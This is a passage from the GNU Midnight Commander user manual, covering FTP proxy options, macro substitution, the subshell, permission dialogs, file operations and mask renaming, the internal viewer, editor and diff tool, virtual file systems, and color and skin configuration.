If this option is set, the program will do two things: consult the /etc/mc/mc.no_proxy file for lines containing host names that are local (if the host name starts with a dot, it is assumed to be a domain) and to assume that any hostnames without dots in their names are directly accessible. All other hosts will be accessed through the specified FTP proxy.

You can enable using ~/.netrc file, which keeps login names and passwords for ftp servers. See netrc (5) for the description of the .netrc format.

Use passive mode enables using FTP passive mode, when the connection for data transfer is initiated by the client, not by the server. This option is recommended and enabled by default. If this option is turned off, the data connection is initiated by the server. This may not work with some firewalls.

Save Setup

At startup, Midnight Commander tries to load initialization information from the ~/.config/mc/ini file. If this file doesn’t exist, the system-wide file /etc/mc/mc.ini is used. If this file doesn’t exist, the system-wide file /usr/share/mc/mc.ini is used. If this file doesn’t exist, MC uses the default settings.

The Save Setup command creates the ~/.config/mc/ini file by saving the current settings of the Left, Right and Options menus.

If you activate the auto save setup option, MC will always save the current settings when exiting.

There also exist settings which can’t be changed from the menus. To change these settings you have to edit the setup file with your favorite editor. See the section on Special Settings for more information.

Executing operating system commands

You may execute commands by typing them directly in Midnight Commander’s input line, or by selecting the program you want to execute with the selection bar in one of the panels and hitting Enter.

If you press Enter over a file that is not executable, Midnight Commander checks the extension of the selected file against the extensions in the Extensions File. If a match is found then the code associated with that extension is executed. A very simple macro expansion takes place before executing the command.

The cd internal command

The cd command is interpreted by Midnight Commander, it is not passed to the command shell for execution. Thus it may not handle all of the nice macro expansion and substitution that your shell does, although it does some of them:

Tilde substitution. The (~) will be substituted with your home directory, if you append a username after the tilde, then it will be substituted with the login directory of the specified user.

For example, ~guest is the home directory for the user guest, while ~/guest is the directory guest in your home directory.

Previous directory. You can jump to the directory you were previously by using the special directory name ‘-’ like this: cd -

CDPATH directories. If the directory specified to the cd command is not in the current directory, then Midnight Commander uses the value in the environment variable CDPATH to search for the directory in any of the named directories.

For example you could set your CDPATH variable to ~/src:/usr/src, allowing you to change your directory to any of the directories inside the ~/src and /usr/src directories, from any place in the file system by using its relative name (for example cd linux could take you to /usr/src/linux).

Macro Substitution

When accessing a user menu, or executing an extension dependent command, or running a command from the command line input, a simple macro substitution takes place.

The macros are:

%i
The indent of blank space, equal the cursor column position. For edit menu only.

%y
The syntax type of current file. For edit menu only.

%k
The block file name.

%e
The error file name.

%m
The current menu name.

%f and %p
In file manager user menu: the current file name in selected panel. In mcedit user menu: the name of opened file.

%x
The extension of current file name.

%b
The current file name without extension.

%d
The current directory name.

%F
The current file in the unselected panel.

%D
The directory name of the unselected panel.

%t
The currently tagged files.

%T
The tagged files in the unselected panel.

%u and %U
Similar to the %t and %T macros, but in addition the files are untagged. You can use this macro only once per menu file entry or extension file entry, because next time there will be no tagged files.

%s and %S
The selected files: The tagged files if there are any. Otherwise the current file.

%cd
This is a special macro that is used to change the current directory to the directory specified in front of it. This is used primarily as an interface to the Virtual File System.

%view
This macro is used to invoke the internal viewer. This macro can be used alone, or with arguments. If you pass any arguments to this macro, they should be enclosed in brackets.

The arguments are: ascii to force the viewer into ascii mode; hex to force the viewer into hex mode; nroff to tell the viewer that it should interpret the bold and underline sequences of nroff; unformatted to tell the viewer to not interpret nroff commands for making the text bold or underlined.

%%
The % character

%{some text}
Prompt for the substitution. An input box is shown and the text inside the braces is used as a prompt. The macro is substituted by the text typed by the user. The user can press Esc or F10 to cancel. This macro doesn’t work on the command line yet.

%var{ENV:default}
If environment variable ENV is unset, the default is substituted. Otherwise, the value of ENV is substituted.

The subshell support

The subshell support is a compile time option, that works with the shells: bash, ash (BusyBox and Debian), tcsh, zsh and fish.

When the subshell support is active, Midnight Commander will spawn a concurrent copy of your shell (the one defined in the SHELL variable and if it is not defined, then the one in the /etc/passwd file) and run it in a pseudo terminal, instead of invoking a new shell each time you execute a command, the command will be passed to the subshell as if you had typed it. This also allows you to change the environment variables, use shell functions and define aliases that are valid until you quit Midnight Commander.

bash users may specify startup commands in ~/.local/share/mc/bashrc (fallback ~/.bashrc) and special keyboard maps in ~/.local/share/mc/inputrc (fallback ~/.inputrc).

ash/dash users (BusyBox or Debian) may specify startup commands in ~/.local/share/mc/ashrc (fallback ~/.profile).

zsh users may specify startup commands in ~/.local/share/mc/.zshrc (fallback ~/.zshrc).

tcsh, fish users cannot specify mc-specific startup commands at present. They have to rely on shell-specific startup files.

The following paragraphs are relevant only when the subshell support is active:

You can suspend applications at any time with the sequence C-o and jump back to Midnight Commander, if you interrupt an application, you will not be able to run other external commands until you quit the application you interrupted.

The basic prompt displayed by Midnight Commander is of the form “user@host:current_path$ “. When using a capable shell, like Bash, the prompt displayed by Midnight Commander will be the same prompt that you are currently using in your shell.

(There’s a known problem when using fish: the prompt is displayed only in full screen mode (Ctrl-o), not when the panels are visible.)

The OPTIONS section has more information on how you can control subshell usage (-U/-u). Furthermore, to set a specific subshell different from your current SHELL variable or login shell defined in /etc/passwd, you may call MC like this: SHELL=/bin/myshell mc

Chmod

The Chmod window is used to change the attribute bits in a group of files and directories. It can be invoked with the C-x c key combination.

The Chmod window has two parts - Permissions and File.

In the File section are displayed the name of the file or directory and its permissions in octal form, as well as its owner and group.

In the Permissions section there is a set of check buttons which correspond to the file attribute bits. As you change the attribute bits, you can see the octal value change in the File section.

To move between the widgets (buttons and check buttons) use the arrow keys or the Tab key. To change the state of the check buttons or to select a button use Space. You can also use the hotkeys on the buttons to quickly activate them. Hotkeys are shown as highlighted letters on the buttons.

To set the attribute bits, use the Enter key.

When working with a group of files or directories, you just click on the bits you want to set or clear. Once you have selected the bits you want to change, you select one of the action buttons (Set marked or Clear marked).

Finally, to set the attributes exactly to those specified, you can use the [Set all] button, which will act on all the tagged files.

[Marked all] set only marked attributes to all selected files

[Set marked] set marked bits in attributes of all selected files

[Clean marked] clear marked bits in attributes of all selected files

[Set] set the attributes of one file

[Cancel] cancel the Chmod command

Chown

The Chown command is used to change the owner/group of a file. The hot key for this command is C-x o.

Advanced Chown

The Advanced Chown command is the Chmod and Chown command combined into one window. You can change the permissions and owner/group of files at once.

Chattr

The Chattr window is used to change the attributes of a group of files and directories on a Linux file system. It can be invoked with the C-x e key combination.

Not all attributes are supported or utilized by all filesystems. List of available attribute flags is represented as a set of check buttons which correspond to the attribute flags (see chattr(1) for details). As you change the attribute flags, you can see the symbolic value change below file name.

To move between the widgets (buttons and check buttons) use the arrow keys or the Tab key. To change the state of the check buttons or to select a button use Space.

To set the attributes, use the Enter key.

When working with a group of files or directories, you just click on the flags you want to set or clear. Once you have selected the flags you want to change, you select one of the action buttons (Set marked or Clear marked).

Finally, to set the attributes exactly to those specified, you can use the [Set all] button, which will act on all the tagged files.

[Marked all] set only marked attributes to all selected files.

[Set marked] set marked flags in attributes of all selected files.

[Clean marked] clear marked flags in attributes of all selected files.

[Set] set the attributes of one file.

[Cancel] cancel the Chattr command.

File Operations

When you copy, move or delete files, Midnight Commander shows the file operations dialog. It shows the files currently being processed and uses up to three progress bars. The file bar indicates the percentage of the current file that has been processed so far. The count bar shows how many of the tagged files have been handled. The bytes bar indicates the percentage of the total size of the tagged files that has been handled. If the verbose option is off, the file and bytes bars are not shown.

There are two buttons at the bottom of the dialog. Pressing the Skip button will skip the rest of the current file. Pressing the Abort button will abort the whole operation, the rest of the files are skipped.

There are three other dialogs which you can run into during the file operations.

The error dialog informs about error conditions and has three choices. Normally you select either the Skip button to skip the file or the Abort button to abort the operation altogether. You can also select the Retry button if you fixed the problem from another terminal.

The replace dialog is shown when you attempt to copy or move a file on the top of an existing file. The dialog shows the dates and sizes of the both files. Press the Yes button to overwrite the file, the No button to skip the file, the All button to overwrite all the files, the None button to never overwrite and the Update button to overwrite if the source file is newer than the target file. You can abort the whole operation by pressing the Abort button.

The recursive delete dialog is shown when you try to delete a directory which is not empty. Press the Yes button to delete the directory recursively, the No button to skip the directory, the All button to delete all the directories and the None button to skip all the non-empty directories. You can abort the whole operation by pressing the Abort button. If you selected the Yes or All button you will be asked for a confirmation. Type “yes” only if you are really sure you want to do the recursive delete.

If you have tagged files and perform an operation on them only the files on which the operation succeeded are untagged. Failed and skipped files are left tagged.

Mask Copy/Rename

The copy/move operations let you translate the names of files in an easy way. To do it, you have to specify the correct source mask and usually in the trailing part of the destination specify some wildcards. All the files matching the source mask are copied/renamed according to the target mask. If there are tagged files, only the tagged files matching the source mask are renamed.

There are other options which you can set:

Follow links

determines whether make the symlinks and hardlinks in the source directory (recursively in subdirectories) new links in the target directory or whether would you like to copy their content.

Dive into subdirs

determines the behavior when the source directory is about to be copied, but the target directory already exists. The default action is to copy the contents of the source directory into the target directory. Enabling this option causes copying the source directory itself into the target directory.

For example, you want to copy directory /foo containing file bar to /bla/foo, which is an already existing directory. Normally (when Dive into subdirs is not set), mc would copy file /foo/bar into the file /bla/foo/bar. By enabling this option the /bla/foo/foo directory will be created, and /foo/bar will be copied into /bla/foo/foo/bar.

Preserve attributes

determines whether to preserve the permissions, timestamps and (if you are root) the ownership of the original files. If this option is not set, the current value of the umask will be respected.

Use shell patterns

When this option is on you can use the ‘*’ and ‘?’ wildcards in the source mask. They work like they do in the shell. In the target mask only the ‘*’ and ‘\digit>’ wildcards are allowed. The first ‘*’ wildcard in the target mask corresponds to the first wildcard group in the source mask, the second ‘*’ corresponds to the second group and so on. The ‘\1’ wildcard corresponds to the first wildcard group in the source mask, the ‘\2’ wildcard corresponds to the second group and so on all the way up to ‘\9’. The ‘�’ wildcard is the whole filename of the source file.

Two examples:

If the source mask is “*.tar.gz”, the destination is “/bla/*.tgz” and the file to be copied is “foo.tar.gz”, the copy will be “foo.tgz” in “/bla”.

Suppose you want to swap basename and extension so that “file.c” would become “c.file” and so on. The source mask for this is “*.*” and the destination is “\2.\1”.

Use shell patterns off

When the shell patterns option is off the MC doesn’t do automatic grouping anymore. You must use ‘...' expressions in the source mask to specify meaning for the wildcards in the target mask. This is more flexible but also requires more typing. Otherwise target masks are similar to the situation when the shell patterns option is on.

Two examples:

If the source mask is “^.*\tar\gz$”, the destination is “/bla/*.tgz” and the file to be copied is “foo.tar.gz”, the copy will be “/bla/foo.tgz”.

Let’s suppose you want to swap basename and extension so that “file.c” will become “c.file” and so on. The source mask for this is “^.*\.*$” and the destination is “\2.\1”.

Case Conversions

You can also change the case of the filenames. If you use ‘\u’ or ‘\l’ in the target mask, the next character will be converted to uppercase or lowercase correspondingly.

If you use ‘\U’ or ‘\L’ in the target mask, the next characters will be converted to uppercase or lowercase correspondingly up to the next ‘’ or next ‘\U’, ‘\L’ or the end of the file name.

The ‘\u’ and ‘\l’ are stronger than ‘\U’ and ‘\L’.

For example, if the source mask is ‘*’ ( Use shell patterns on) or ‘^.*$’ ( Use shell patterns off) and the target mask is ‘\L\u*’ the file names will be converted to have initial upper case and otherwise lower case.

You can also use ‘\ as a quote character. For example, ‘' is a backslash and ‘' is an asterisk.

Stable symlinks

commands Midnight Commander, that it should change symlinks in the target, so that they’ll point to the same location as it did before. With absolute symbolic links this does nothing, but if you have a relative one, it will recompute its value, adding necessary ../ and other directory parts and making the value as short as possible (most modern filesystems keep short symlinks inside inodes and thus don’t waste much disk space).

Select/Unselect Files

The dialog of group of files and directories selection or uselection. The input line allow enter the regular expression of filenames that will be selected/unselected.

When Files only checkbox is on, only files will be selected. If Files only is off, as files as directories will be selected. When Shell Patterns checkbox is on, the regular expression is much like the filename globbing in the shell (* standing for zero or more characters and ? standing for one character). If Shell Patterns is off, then the tagging of files is done with normal regular expressions (see ed (1)). When Case sensitive checkbox is on, the selection will be case sensitive characters. If Case sensitive is off, the case will be ignored.

Internal Diff Viewer

The mcdiff is a visual diff tool. You can compare two files and edit them in-place (diffs are updated dynamically). You can browse and view a working copy from popular version control systems (GIT, Subversion, etc).

Following shortcuts are available in internal diff viewer of Midnight Commander.

F1
Invoke the built-in hypertext help viewer.

F2
Save modified files.

F4
Edit file of the left panel in the internal editor.

F14
Edit file of the right panel in the internal editor.

F5
Merge the current hunk. Only the current hunk will be merged.

F7
Start search.

F17
Continue search.

F10, Esc, q
Exit from diff viewer.

Alt-s, s
Toggle show of hunk status.

Alt-n, l
Toggle show of line numbers.

f
Maximize left panel.

=
Make panels equal in width.

>
Reduce the size of the right panel.

<
Reduce the size of the left panel.

c
Toggle show of trailing carriage return (CR) symbol as ^M.

2, 3, 4, 8
Set tabulation size

C-u
Swap contents of diff panels.

C-r
Refresh the screen.

C-o
Switch to the subshell and show the command screen.

Enter, Space, n
Find next diff hunk.

Backspace, p
Find previous diff hunk.

g
Go to line.

Down
Scroll one line forward.

Up
Scroll one line backward.

PageUp
Move one page up.

PageDown
Mves one page down.

Home, A1
Moves to the line beginning.

End
Moves to the line end.

C-Home
Move to the file beginning.

C-End, C1
Move to the file end.

Internal File Viewer

The internal file viewer provides two display modes: ASCII and hex. To toggle between modes, use the F4 key.

The viewer will try to use the best method provided by your system or the file type to display the information. Some character sequences, which appear most often in preformatted manual pages, are displayed bold and underlined, thus making a pretty display of your files.

When in hex mode, the search function accepts text in quotes and constant numbers. Text in quotes is matched exactly after removing the quotes. Each number matches one byte. You can mix quoted text with constants like this:

"String" 34 0xBB 012 "more text"

Numbers are always interpreted in hex. In the example above, “34” is interpreted as 0x34. The prefix “0x” isn’t really needed: we could type “BB” instead of “0xBB”. And “012” is interpreted as 0x12, not as an octal number.

Here is a listing of the actions associated with each key that the Midnight Commander handles in the internal file viewer.

F1
Invoke the built-in hypertext help viewer.

F2
Toggle the wrap mode.

F4
Toggle the hex mode.

F5
Goto. You can specify a line number, offset or percentage of file size of position that you want to view.

F7, /, ?
Start search. These keys call the dialog window that allows you to set up the search options. If key is ? the “Backwards” option is on.

C-s
Continue forward search.

C-r
Continue reverse search.

F17, n
Continue search in the chosen direction.

N
Temporary change the search direction: backwards if forward search is chosen, and vice versa.

F8
Toggle Raw/Parsed mode: This will show the file as found on disk or if a processing filter has been specified in the mc.ext.ini file, then the output from the filter. Current mode is always the other than written on the button label, since on the button is the mode which you enter by that key.

F9
Toggle the format/unformat mode: when format mode is on the viewer will interpret some string sequences to show bold and underline with different colors. Also, on button label is the other mode than current.

F10, Esc.
Exit the internal file viewer.

PageDown, space, C-v.
Scroll one page forward.

PageUp, Alt-v, C-b, Backspace.
Scroll one page backward.

Down
Scroll one line forward.

Up
Scroll one line backward.

C-l
Refresh the screen.

C-o
Switch to the subshell and show the command screen.

[n] m
Set the mark n.

[n] r
Jump to the mark n.

C-f
Jump to the next file.

C-b
Jump to the previous file.

Alt-r
Toggle the ruler.

Alt-e
to change charset of displayed text may use Alt-e (M-e). Recoding is made from selected codepage into system codepage. To cancel the recoding you may select “<No translation>” in charset selection dialog.

It’s possible to instruct the file viewer how to display a file, look at the Edit Extension File section

Internal File Editor

The internal file editor is a full-featured full screen editor. It can edit files up to 64 megabytes. It is possible to edit binary files. The internal file editor is invoked using F4 if the use_internal_edit option is set in the initialization file.

The features it presently supports are: block copy, move, delete, cut, paste; key for key undo; pull-down menus; file insertion; macro commands; regular expression search and replace; S-arrow text highlighting (if supported by the terminal); insert-overwrite toggle; word wrap; autoindent; tunable tab size; syntax highlighting for various file types; and an option to pipe text blocks through shell commands like indent and ispell.

Sections:

Options of editor in ini-file

The editor is very easy to use and requires no tutoring. To see what keys do what, just consult the appropriate pull-down menu. Other keys are: Shift movement keys do text highlighting. C-Ins copies to the file mcedit.clip and S-Ins pastes from mcedit.clip. S-Del cuts to mcedit.clip, and C-Del deletes highlighted text. Mouse highlighting also works, and you can override the mouse as usual by holding down the shift key while dragging the mouse to let normal terminal mouse highlighting work.

To define a macro, press C-R and then type out the key strokes you want to be executed. Press C-R again when finished. You can then assign the macro to any key you like by pressing that key. The macro is executed when you press C-A and then the assigned key. The macro is also executed if you press Meta, Ctrl, or Esc and the assigned key, provided that the key is not used for any other function. Once defined, the macro commands go into the file ~/.local/share/mc/mcedit/mcedit.macros You can delete a macro by deleting the appropriate line in this file.

To change charset of displayed text may use Alt-e (M-e). Recoding is made from selected codepage into system codepage. To cancel the recoding you may select “<No translation>” in charset selection dialog.

F19 will format the currently highlighted block (plain text or C or C++ code or another). This is controlled by the file /usr/share/mc/edit.indent.rc which is copied to ~/.local/share/mc/mcedit/edit.indent.rc in your home directory the first time you use it.

The editor also displays non-us characters (160+). When editing binary files, you should set display bits to 7 bits in the options menu to keep the spacing clean.

Options of editor in ini-file

Some editor options of ini-file are described in this section. Options are placed in [Midnight-Commander] section

editor_wordcompletion_collect_entire_file
Search autocomplete candidates in entire of file or just from begin of file to cursor position (0)

Screen selector

Midnight Commander supports running many internal modules (such as editor, viewer and diff viewer) simultaneously and switching between them without closing open files. Using several file managers at a time, however, is not currently supported.

Let’s call each of these modules a screen. There are three ways to switch between screens, using one of these global shortcuts:

Alt-}
switch to the next screen;

Alt-{
switch to the previous screen;

Alt-`
open a dialog window with the list of currently open screens (or use the “Screen list” menu item).

Completion

Let Midnight Commander type for you.

Attempt to perform completion on the text before current position. MC attempts completion treating the text as variable (if the text begins with $), username (if the text begins with ~), hostname (if the text begins with @) or command (if you are on the command line in the position where you might type a command, possible completions then include shell reserved words and shell built-in commands as well) in turn. If none of these matches, filename completion is attempted.

Filename, username, variable and hostname completion works on all input lines, command completion is command line specific. If the completion is ambiguous (there are more different possibilities), MC beeps and the following action depends on the setting of the Complete: show all option in the Configuration dialog. If it is enabled, a list of all possibilities pops up next to the current position and you can select with the arrow keys and Enter the correct entry. You can also type the first letters in which the possibilities differ to move to a subset of all possibilities and complete as much as possible. If you press Alt-Tab again, only the subset will be shown in the listbox, otherwise the first item which matches all the previous characters will be highlighted. As soon as there is no ambiguity, dialog disappears, but you can hide it by canceling keys Esc, F10 and left and right arrow keys. If Complete: show all is disabled, the dialog pops up only if you press Alt-Tab for the second time, for the first time MC just beeps.

Apply escaping of ?, *, and & symbols (as ***, ***, and ****) in filenames to disallow use them as metasymbols in regular expressions when substitution is performed in the input line.

Virtual File System

Midnight Commander is provided with a code layer to access the file system; this code layer is known as the virtual file system switch. The virtual file system switch allows Midnight Commander to manipulate files not located on the Unix file system.

Currently, Midnight Commander is packaged with some Virtual File Systems (VFS): the local file system, used for accessing the regular Unix file system; the ftpfs, used to manipulate files on remote systems with the FTP protocol; the tarfs, used to manipulate tar and compressed tar files; the undelfs, used to recover deleted files on ext2 file systems (the default file system for Linux systems), shell (for manipulating files over shell connections such as rsh and ssh). If the code was compiled with sftpfs (for manipulating files over SFTP connections).

A generic extfs (EXTernal virtual File System) is provided in order to easily expand VFS capabilities using scripts and external software.

The VFS switch code will interpret all of the path names used and will forward them to the correct file system, the formats used for each one of the file systems is described later in their own section.

FTP File System

The FTP File System (ftpfs) allows you to manipulate files on remote machines. To actually use it, you can use the FTP link item in the menu or directly change your current directory using the cd command to a path name that looks like this:

ftp://[!][user[:pass]@]machine[:port][remote-dir]

The user, port and remote-dir elements are optional. If you specify the user element, Midnight Commander will login to the remote machine as that user, otherwise it will use anonymous login or the login name from the ~/.netrc file. The optional pass element is the password used for the connection. Using the password in the VFS directory name is not recommended, because it can appear on the screen in clear text and can be saved to the directory history.

To enable using FTP proxy, prepend ! (an exclamation sign) to the hostname.

Examples:

    ftp://ftp.nuclecu.unam.mx/linux/local
    ftp://tsx-11.mit.edu/pub/linux/packages
    ftp://!behind.firewall.edu/pub
    ftp://[email protected]:40/pub
    ftp://miguel:xxx@server/pub

Please check the Virtual File System dialog box for ftpfs options.

Tar File System

The tar file system provides you with read-only access to your tar files and compressed tar files by using the chdir command. To change your directory to a tar file, you change your current directory to the tar file by using the following syntax:

/filename.tar/utar://[dir-inside-tar]

The mc.ext.ini file already provides a shortcut for tar files, this means that usually you just point to a tar file and press return to enter into the tar file, see the Edit Extension File section for details on how this is done.

Examples:

    mc-3.0.tar.gz/utar://mc-3.0/vfs
    /ftp/GCC/gcc-2.7.0.tar/utar://

The latter specifies the full path of the tar archive.

FIle transfer over SHell filesystem

The shell file system is a network based file system that allows you to manipulate the files in a remote machine as if they were local. To use this, the other side has to have bash-compatible shell.

To connect to a remote machine, you just need to chdir into a special directory which name is in the following format:

sh://[user@]machine[:options]/[remote-dir]

The user, options and remote-dir elements are optional. If you specify the user element, Midnight Commander will try to login on the remote machine as that user, otherwise it will use your login name.

The available options are:

  'C' - use compression;
  'r' - use rsh instead of ssh;
  port - specify the port used by remote server.

If the remote-dir element is present, your current directory on the remote machine will be set to this one.

Examples:

    sh://onlyrsh.mx:r/linux/local
    sh://[email protected]:C/private
    sh://[email protected]/private
    sh://[email protected]:2222/private

SFTP (SSH File Transfer Protocol) filesystem

The SFTP file system is a network based file system that allows you to manipulate the files in a remote machine as if they were local.

To connect to a remote machine, you just need to chdir into a special directory which name is in the following format:

sftp://[user@]machine:[port]/[remote-dir]

The user, port and remote-dir elements are optional. If you specify the user element, Midnight Commander will try to login on the remote machine as that user, otherwise it will use your login name. port - specify the port used by remote server (22 by default). If the remote-dir element is present, your current directory on the remote machine will be set to this one.

Examples:

    sftp://onlyrsh.mx/linux/local
    sftp://joe:[email protected]/private
    sftp://[email protected]/private
    sftp://[email protected]:2222/private

When establishing the connection, server key fingerprint is verified using the ~/.ssh/known_hosts file. If the host/key pair is not found or the host is found, but the key doesn’t match, an appropriate message is shown. There are three buttons in the message dialog:

[Yes] add new host/key pair to the ~/.ssh/known_hosts file and continue.

[Ignore] do not add new host/key pair to the ~/.ssh/known_hosts file, but continue nevertheless (at you own risk).

[No] abort connection.

Undelete File System

On Linux systems, if you asked configure to use the ext2fs undelete facilities, you will have the undelete file system available. Recovery of deleted files is only available on ext2 file systems. The undelete file system is just an interface to the ext2fs library to retrieve all of the deleted files names on an ext2fs and provides and to extract the selected files into a regular partition.

To use this file system, you have to chdir into the special file name formed by the “undel://” prefix and the file name where the actual file system resides.

For example, to recover deleted files on the second partition of the first SCSI disk on Linux, you would use the following path name:

    undel://sda2

It may take a while for the undelfs to load the required information before you start browsing files there.

EXTernal File System

extfs allows you to integrate numerous features and file types into GNU Midnight Commander in an easy way, by writing scripts.

Extfs filesystems can be divided into two categories:

1. Stand-alone filesystems, which are not associated with any existing file. They represent certain system-wide data as a directory tree. You can invoke them by typing cd fsname:// where fsname is an extfs short name (see below). Examples of such filesystems include audio (list audio tracks on the CD) or apt (list of all Debian packages in the system).

For example, to list CD-Audio tracks on your CD-ROM drive, type

  cd audio://

2. ‘Archive’ filesystems (like rpm, patchfs and more), which represent contents of a file as a directory tree. It can consist of ‘real’ files compressed in an archive (urar, rpm) or virtual files, like messages in a mailbox (mailfs) or parts of a patch (patchfs). To access such filesystems fsname:// should be appended to the archive name. Note that the archive itself can be on another vfs.

For example, to list contents of a zip archive documents.zip type

  cd documents.zip/uzip://

In many aspects, you could treat extfs like any other directory. For instance, you can add it to the hotlist or change to it from directory history. An important limitation is that you cannot invoke shell commands inside extfs, just like any other non-local VFS.

Common extfs scripts included with Midnight Commander are:

a
access ‘A:’ DOS/Windows diskette (cd a://).

apt
front end to Debian’s APT package management system (cd apt://).

audio
audio CD ripping and playing (cd audio:// or cd device/audio://).

bpp
package of Bad Penguin GNU/Linux distribution (cd file.bpp/bpp://).

deb
package of Debian GNU/Linux distribution (cd file.deb/deb://).

dpkg
Debian GNU/Linux installed packages (cd deb://).

hp48
view and copy files to/from a HP48 calculator (cd hp48://).

lslR
browsing of lslR listings as found on many FTPs (cd filename/lslR://).

mailfs
mbox-style mailbox files support (cd mailbox/mailfs://).

patchfs
extfs to handle unified and context diffs (cd filename/patchfs://).

rpm
RPM package (cd filename/rpm://).

rpms
RPM database management (cd rpms://).

ulha, urar, uzip, uzoo, uar, uha
archivers (cd archive/xxxx:// where xxxx is one of: ulha, urar, uzip, uzoo, uar, uha).

You could bind file type/extension to specified extfs as described in the Edit Extension File section. Here is an example entry for Debian packages:

  regex/.deb$
          Open=%cd %p/deb://

Colors

Midnight Commander will try to detect if your terminal supports color using the terminal database and your terminal name. Sometimes it gets confused, so you may force color mode or disable color mode using the -c and -b flag respectively.

If the program is compiled with the S-Lang screen manager instead of ncurses, it will also check the variable COLORTERM, if it is set, it has the same effect as the -c flag.

You may specify terminals that always force color mode by adding the color_terminals variable to the Colors section of the initialization file. This will prevent Midnight Commander from trying to detect if your terminal supports color. Example:

[Colors]
color_terminals=linux,xterm
color_terminals=terminal-name1,terminal-name2...

The program can be compiled with both ncurses and S-Lang, ncurses does not provide a way to force color mode: ncurses uses just the information in the terminal database.

Midnight Commander provides a way to change the default colors. Currently the colors are configured using the environment variable MC_COLOR_TABLE or the Colors section in the initialization file.

In the Colors section, the default color map is loaded from the base_color variable. You can specify an alternate color map for a terminal by using the terminal name as the key in this section. Example:

[Colors]
base_color=
xterm=menu=magenta:marked=,magenta:markselect=,red

The format for the color definition is:

  <keyword>=<fgcolor>,<bgcolor>,<attributes>:<keyword>=...

The colors are optional, and the keywords are: normal, selected, disabled, marked, markselect, errors, input, inputmark, inputunchanged, commandlinemark, reverse, gauge, header, inputhistory, commandhistory. Button bar colors are: bbarhotkey, bbarbutton. Status bar color: statusbar. Menu colors are: menunormal, menusel, menuhot, menuhotsel, menuinactive. Dialog colors are: dnormal, dfocus, dhotnormal, dhotfocus, dtitle. Error dialog colors are: errdfocus, errdhotnormal, errdhotfocus, errdtitle. Help colors are: helpnormal, helpitalic, helpbold, helplink, helpslink, helptitle. Viewer colors are: viewnormal, viewbold, viewunderline, viewselected. Editor colors are: editnormal, editbold, editmarked, editwhitespace, editnonprintable, editlinestate. Popup menu colors are: pmenunormal, pmenusel, pmenutitle.

header determines the color of panel header, the line that contains column titles and sort mode indicator.

input determines the color of input lines used in query dialogs.

gauge determines the color of the filled part of the progress bar (gauge), which is used to show the user the progress of file operations, such as copying.

disabled determines the color of the widget that cannot be selected.

The dialog boxes use the following colors: dnormal is used for the normal text, dfocus is the color used for the currently selected component, dhotnormal is the color used to differentiate the hotkey color in normal components, whereas the dhotfocus color is used for the highlighted color in the currently selected component.

Menus use the same scheme but uses the menunormal, menusel, menuhot, menuhotsel and menuinactive tags instead.

Help uses the following colors: helpnormal is used for normal text, helpitalic is used for text which is emphasized in italic in the manual page, helpbold is used for text which is emphasized in bold in the manual page, helplink is used for not selected hyperlinks and helpslink is used for selected hyperlink.

Popup menu uses following colors: pmenunormal is used for non-selected menu items and as a main color of popup menu window, pmenusel is used for selected menu item, pmenutitle is used for popup menu title.

The possible colors are: black, gray, red, brightred, green, brightgreen, brown, yellow, blue, brightblue, magenta, brightmagenta, cyan, brightcyan, lightgray and white. And there is a special keyword for transparent background. It is ‘default’. The ‘default’ can only be used for background color. Another special keyword “base” means mc’s main colors. When 256 colors are available, they can be specified either as color16 to color255, or as rgb000 to rgb555 and gray0 to gray23. Example:

[Colors]
base_color=normal=white,default:marked=magenta,default

Attributes can be any of bold, italic, underline, reverse and blink, appended by a plus sign if more than one are desired. The special word “none” means no attributes, without attempting to fall back to base_color. Example:

menuhotsel=yellow;black;bold+underline

Skins

You can change the appearance of Midnight Commander. To do this, you must specify a file that contain descriptions of colors and lines to draw boxes. Redefining of the colors is entirely compatible with the assignment of colors, as described in Section Colors.

If your skin contains any true-color definitions, you should define the ’truecolors’ key set to TRUE value in [skin] section. If true-color is not used but 256-color is, you should define ‘256colors’ instead.

A skin-file is searched on the following algorithm (to the first one found):

  1. command line option -S <skin> or –skin=<skin>
  2. Environment variable MC_SKIN
  3. Parameter skin in section [Midnight-Commander] in config file.
  4. File /etc/mc/skins/default.ini
  5. File /usr/share/mc/skins/default.ini

Command line option, environment variable and parameter in config file may contain the absolute path to the skin-file (with the extension .ini or without it). Search of skin-file will occur in (to the first one found):

1) ~/.local/share/mc/skins/
2) /etc/mc/skins/
3) /usr/share/mc/skins/

For getting extended info, refer to:

Description of section and parameters
Color pair definitions
Color and attribute aliases
Draw lines
Compatibility

Description of section and parameters

Section [skin] contain metainfo for skin-file. Parameter description contain short text about skin.

Section [filehighlight] contain descriptions of color pairs for filenames highlighting. Name of parameters must be equal to names of sections into filehighlight.ini file. See Filenames Highlight for getting more info.

Section [core] describes the elements that are used everywhere.

_default_
Default color pair. Used in all other sections if they not contain color definitions

selected
cursor

marked
selected data

markselect
cursor on selected data

gauge
color of the filled part of the progress bar

input
color of input lines used in query dialogs

inputmark
color of input selected text

inputunchanged
color of input text before first modification or cursor movement

commandlinemark
color of selected text in command line

reverse
reverse color

Section [dialog] describes the elements that are placed on dialog windows (except error dialogs).

_default_
Default color for this section. Used [core]._default_ if not specified

dfocus
Color of active element (in focus)

dhotnormal
Color of hotkeys

dhotfocus
Color of hotkeys in focused element

Section [error] describes the elements that are placed on error dialog windows

_default_
Default color for this section. Used [core]._default_ if not specified

errdhotnormal
Color of hotkeys

errdhotfocus
Color of hotkeys in focused element

Section [menu] describes the elements that are placed in menu. This section describes system menu (called by F9) and user-defined menus (called by F2 in panels and by F11 in editor).

_default_
Default color for this section. Used [core]._default_ if not specified

entry
Color of menu items

menuhot
Color of menu hotkeys

menusel
Color of active menu item (in focus)

menuhotsel
Color of menu hotkeys in focused menu item

menuinactive
Color of inactive menu

Section [help] describes the elements that are placed on help window.

_default_
Default color for this section. Used [core]._default_ if not specified

helpitalic
Color pair for element with italic attribute

helpbold
Color pair for element with bold attribute

helplink
Color of links

helpslink
Color of active link (on focus)

Section [editor] describes the colors of elements placed in editor.

_default_
Default color for this section. Used [core]._default_ if not specified

editbold
Color pair for element with bold attribute

editmarked
Color of selected text

editwhitespace
Color of tabs and trailing spaces highlighting

editlinestate
Color for line state area

Section [viewer] describes the colors of elements placed in viewer.

viewunderline
Color pair for element with underline attribute

Color pair definitions

Any parameter in skin-file contain definition of color pair.

Color pairs described as two colors and the optional attributes separated by ‘;’. First field sets the foreground color, second field sets background color, third field sets the attributes. Any of the fields may be omitted, in this case value will be taken from default color pair (global color pair or from default color pair of this section).

Example:

[core]
    # green on black
    _default_=green;black
    # green (default) on blue
    selected=;blue
    # yellow on black (default)
